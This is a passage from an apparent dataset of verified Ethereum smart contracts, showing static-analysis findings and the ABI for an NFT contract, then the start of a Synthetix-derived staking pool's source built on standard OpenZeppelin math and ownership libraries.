2046, 2047]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1504, 1505, 1503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1520, 1521, 1518, 1519]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1568, 1569, 1570, 1571, 1566, 1567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1881, 1882, 1883, 1884, 1885]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1459, 1460, 1461]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1444, 1445, 1446, 1447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1549, 1550, 1551, 1552, 1553, 1554]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [737]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [246]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1822]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1343]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1932]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [304]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1892]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [116]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [34]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [89]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1306]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [274]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [328]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [545]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1037]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [7]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Demons.sol": [1853, 1854, 1855]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2147, 2148, 2149]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [599]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [709]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2153, 2154]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [685]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2007]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [661]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2076]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1583]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2068]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [2064]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [101, 102, 103, 104, 105, 106, 107, 108, 109, 110]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [2131]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [2136]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2117, 2118, 2119]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2112, 2113, 2114]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2128, 2129, 2127]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2137, 2138, 2139]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2104, 2102, 2103]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2097, 2098, 2099]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2122, 2123, 2124]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2132, 2133, 2134]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2107, 2108, 2109]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2092, 2093, 2094]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2144, 2142, 2143]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [2147, 2148, 2149]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1735]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1734]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1679]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1737]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1709]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1707]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Demons.sol": [1677]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 46, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 80, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1368, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1408, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1417, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1426, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1656, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1675, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1697, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1700, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1732, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1874, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 34, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 34, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 89, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 89, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 246, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 246, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 274, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 274, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 304, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 304, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 328, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 328, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 737, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 737, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1306, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1306, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1343, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1343, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1822, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1822, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1892, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1892, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1932, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 46, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 51, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1368, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1371, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1374, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1377, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1380, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1383, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1386, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1389, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1392, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1408, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1417, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1426, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1837, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1946, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1947, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1360, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1906, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1943, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 568, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 349, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 360, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 370, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 385, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 395, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1173, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1184, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1264, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1275, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 595, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1968, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 595, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 595, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 596, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 596, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 596, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 596, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1974, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1975, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1976, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"folder","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"getPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"getQuantityFromValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"locked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"open","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"ownerMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"provenance","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"provenanceURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_folder","type":"string"}],"name":"setFolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_ipfsUri","type":"string"}],"name":"setIpfsURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_provenance","type":"string"}],"name":"setProvenance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_provenanceURI","type":"string"}],"name":"setProvenanceURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.3+commit.9bfce1f6 | false | 200 | Default | None | false | ipfs://3e2f26baf0e1316627aac51574ede3fa2154122cbc122e8379024cdf47d89e8c |
|||
BENTOPNKPool | 0xb46a9f96b91c2f52eb6cbc942e202daa7529b29d | Solidity |
// File: contracts/distribution/BENTOPNKPool.sol
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: BENTORewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
